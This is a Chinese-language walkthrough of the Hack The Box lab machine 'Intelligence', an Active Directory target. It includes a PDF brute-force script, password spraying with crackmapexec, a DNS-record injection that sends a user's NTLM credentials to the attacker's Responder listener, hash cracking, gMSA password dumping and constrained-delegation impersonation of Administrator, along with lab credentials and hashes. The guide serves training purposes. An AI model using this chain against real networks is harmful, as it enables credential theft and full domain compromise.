本文最后更新于:2022年6月6日 晚上
待完善 。。。
0x01 端口探测 使用nmap对靶机进行探测:
1 nmap -sV -sC 10.10.10.248
比较标准的DC端口,还多了个WEB的80。
0x02 user.txt 进WEB看看,发现在主页目录可以下载文档。主页能下载的文档文件名为2020-01-01-upload.pdf
遂写了脚本进行爆破,将所有的文档下载下来:
1 2 3 4 5 6 7 8 9 10 import requestsfor month in range (1 , 13 ): for day in range (1 , 32 ): file_name = "2020-%02d-%02d-upload.pdf" % (month, day) resp = requests.get("http://10.10.10.248/documents/" + file_name) if resp.status_code == 200 : print (file_name) with open (file_name, "wb" ) as f: f.write(resp.content)
其中,大多数文档都是无意义的填充文字,为了避免一个个看过去,写了个脚本提取文字:
1 2 3 4 5 6 7 8 9 10 import pdfplumberimport sys file = sys.argv[1 ]with pdfplumber.open (file) as pdf: first_page = pdf.pages[0 ] print (file) print (first_page.extract_text()) print ()
将脚本保存为extract.py
,该脚本使用方式为python3 extract.py 2020-01-01-upload.pdf
,为了批量处理需要配合shell命令进行使用。
1 for i in $(ls | grep pdf) ; do python3 extract.py $i ; done > text_extract.txt
查看提取出的文字,对一些字段进行搜索,可以看到在搜索pass时能够看到初始密码:
有了密码,我们还需要用户名才能进行登录,使用工具exiftool
查看用户名:
2020-06-04-upload.pdf
的用户名不能登陆,所以我们需要提取所有的用户名:
1 for i in $ (ls ) ; do exiftool $i | grep Creator |awk -F : '{print $2}' ; done
将所有的用户名保存为username.txt,使用crackmapexec进行密码喷洒攻击:
1 crackmapexec smb 10.10.10.248 -u username.txt -p "NewIntelligenceCorpUser9876"
最终爆破得到如下信息:
1 2 3 domain = intelligence.htbusername = Tiffany.Molinapassword = NewIntelligenceCorpUser9876
连上smb翻一下文件,能够找到一个downdetector.ps1,我们将这个文件下载下来:
1 smbclient -L // 10.10 .10.248 -U Tiffany.Molina
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 ╭─root@kali ~/下载/pdf ╰─ Enter WORKGROUP\Tiffany.Molina's password: Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share IPC$ IPC Remote IPC IT Disk NETLOGON Disk Logon server share SYSVOL Disk Logon server share Users Disk SMB1 disabled -- no workgroup available ╭─root@kali ~/下载/pdf ╰─# smbclient //10.10.10.248/IT -U Tiffany.Molina Enter WORKGROUP\Tiffany.Molina' s password: Try "help" to get a list of possible commands. smb: \> dir . D 0 Mon Apr 19 08:50:55 2021 .. D 0 Mon Apr 19 08:50:55 2021 downdetector.ps1 A 1046 Mon Apr 19 08:50:55 2021 3770367 blocks of size 4096. 1460376 blocks available smb: \> get downdetector.ps1 getting file \downdetector.ps1 of size 1046 as downdetector.ps1 (1.1 KiloBytes/sec) (average 1.1 KiloBytes/sec) ╭─root@kali ~/下载/pdf ╰─ Enter WORKGROUP\Tiffany.Molina's password: Try "help" to get a list of possible commands. smb: \> get Tiffany.Molina\Desktop\user.txt getting file \Tiffany.Molina\Desktop\user.txt of size 34 as Tiffany.Molina\Desktop\user.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
然后顺手拿个user的flag:
0x03 root.txt 查看downdetector.ps1,内容如下:
1 2 3 4 5 6 7 8 9 10 11 Import-Module ActiveDirectory foreach ($record in Get-ChildItem "AD:DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb" | Where-Object Name -like "web*" ) { try { $request = Invoke-WebRequest -Uri "http://$ ($record .Name)" -UseDefaultCredentials if (.StatusCode -ne 200 ) { Send-MailMessage -From 'Ted Graves <Ted.Graves@intelligence.htb>' -To 'Ted Graves <Ted.Graves@intelligence.htb>' -Subject "Host: $ ($record .Name) is down" } } catch {} }
结合文件名,我们可以推测该脚本的作用。每五分钟,该脚本会查找以“web”开头的域内二级站点,并使用Ted
的凭据为每条找到的记录发送HTTP请求。(使用-UseDefaultCredentials
选项)如果服务器没有返回200 OK状态码,则会向Ted
发送一封邮件。
发送邮件不是我们关心的内容,重要的是HTTP请求带上了用户的凭据信息,我们可以插入一条相对应的DNS记录,指向自己的机子,这样就能拿到Ted.Graves的凭据信息了:
1 python3 dnstool.py -u 'intelligence.htb\Tiffany.Molina' -p 'NewIntelligenceCorpUser9876' -a add -r 'websucks.intelligence.htb' -d 10.10.14.27 10.10.10.248
之后开启responder,监听vpn的网卡,等最多5分钟就能拿到Ted.Graves的NTLMv2 Hash:
使用netcat进行爆破,最后能够拿到Ted.Graves的密码为Mr.Teddy:
1 hashcat -m 5600 -a 0 hash "E:\path\pass_en.txt" # 这里的字典就是rockyou.txt
但是登上去后,并没有任何更多的信息,所以不是smb这条路,我们需要换一条思路:
回去翻翻pdf,在最后一条能够发现一些提示信息:
也就是说,此时此刻服务账户是未被锁定的。
看看ldap信息,使用ldapdomaindump导出所有ldap信息:
1 ldapdomaindump -u "intelligence.htb\TED.GRAVES" -p "Mr.Teddy" intelligence.htb
一个个看过去,首先在domain_computers中就能发现一个不同寻常的账户svc_int,它还配置了约束委派的标志位:
对该机器账户进行更详细的信息收集,使用powersploit的powerview模块,参考 :
1 2 3 PS > $SecPassword = ConvertTo-SecureString 'Mr.Teddy' -AsPlainText -Force PS > $Cred = New-Object System.Management.Automation.PSCredential('intelligence.htb\TED.GRAVES' , $SecPassword )PS > Get-DomainComputer -Domain intelligence.htb -Credential $Cred -Server 10.10 .10.248 svc_int
得到信息如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 pwdlastset : 2021 /10 /7 21 :28 :38 logoncount : 0 badpasswordtime : 1601 /1 /1 8 :00 :00 msds -managedpasswordpreviousid : {1 , 0 , 0 , 0 ...}distinguishedname : CN=svc_int,CN=Managed Service Accounts,DC=intelligence,DC=htbobjectclass : {top, person, organizationalPerson, user...}name : svc_intobjectsid : S-1 -5 -21 -4210132550 -3389855604 -3437519686 -1144 msds -groupmsamembership : {1 , 0 , 4 , 128 ...}localpolicyflags : 0 codepage : 0 samaccounttype : MACHINE_ACCOUNTaccountexpires : NEVERcountrycode : 0 whenchanged : 2021 /10 /7 13 :28 :38 instancetype : 4 usncreated : 12846 objectguid : f180a079-f326-49 b2-84 a1-34824208 d642msds -managedpasswordid : {1 , 0 , 0 , 0 ...}msds -allowedtodelegateto : WWW/dc.intelligence.htbsamaccountname : svc_int$objectcategory : CN=ms-DS-Group-Managed-Service-Account,CN=Schema,CN=Configuration,DC=intelligence,DC=h tb dscorepropagationdata : 1601 /1 /1 0 :00 :00 msds -managedpasswordinterval : 30 lastlogon : 1601 /1 /1 8 :00 :00 badpwdcount : 0 cn : svc_intuseraccountcontrol : WORKSTATION_TRUST_ACCOUNT, TRUSTED_TO_AUTH_FOR_DELEGATIONwhencreated : 2021 /4 /19 0 :49 :58 primarygroupid : 515 iscriticalsystemobject : Falsemsds -supportedencryptiontypes : 28 usnchanged : 102507 lastlogoff : 1601 /1 /1 8 :00 :00 dnshostname : svc_int.intelligence.htb
从objectcategory中我们可以看出,该账户是一个GMSA(Group Managed Service Accounts )账户,详见官方文档:
在PayloadsAllTheThings 中,我们能发现对GMSA账户的利用方法:
尝试进行利用,很幸运地读到了该账户的密码(因为我们的Ted用户是itsupport组的成员之一):
1 2 3 4 5 6 7 ╭─root@kali ~/Tools/g MSADumper ‹main› ╰─ Users or groups who can read password for svc_int$: > DC $ > itsupport svc_int$: : :d170ae19de30439df55d6430e12dd621
之后便可以进行约束委派攻击了,但首先我们需要校准时间,否则Kerberos会报错:
1 2 3 4 5 6 ╭─root@ kali ~/Tools/gMSADumper ‹main› ╰─# getST.py int elligence.htb/svc_int$ -spn WWW/dc.int elligence.htb -hashes :d170ae19de30439df55d6430e12dd621 -impersonate Administrator Impacket v0.9 .23 - Copyright 2021 SecureAuth Corporation[*] Getting TGT for user Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
使用ntpdate进行校正:
1 2 3 ╭─root@kali ~/下载 ╰─ 8 Oct 05 :36 :13 ntpdate[43971 ]: step time server 10.10 .10 .248 offset +25196.736528 sec
然后再拿Service Ticket:
1 2 3 4 5 6 7 8 9 ╭─root@ kali ~/下载 ╰─# getST.py int elligence.htb/svc_int$ -spn WWW/dc.int elligence.htb -hashes :d170ae19de30439df55d6430e12dd621 -impersonate Administrator Impacket v0.9 .23 - Copyright 2021 SecureAuth Corporation[*] Getting TGT for user[*] Impersonating Administrator[*] Requesting S4U2self[*] Requesting S4U2Proxy[*] Saving ticket in Administrator.ccache
此外,我们不仅可以访问约束委派配置中用户可以模拟的服务,还可以访问使用与模拟帐户权限允许的任何服务 。(因为未检查 SPN,只检查权限)。比如,如果我们能够访问 CIFS 服务,那么同样有权限访问 HOST 服务。注意如果我们有权限访问到 DC 的 LDAP 服务,则有足够的权限去执 行 DCSync。
export后使用impacket中的smbclient模块登录拿flag即可:
1 2 export KRB5CCNAME =Administrator.ccache impacket-smbclient intelligence.htb/Administrator@dc.intelligence.htb -k -no-pass
0x04 Summary 这是一个Medium难度的Windows靶机,主要考察内容如下:
从pdf内容中收集信息
密码喷洒攻击
smb共享目录利用
BloodHound使用
约束委派攻击
GMSA攻击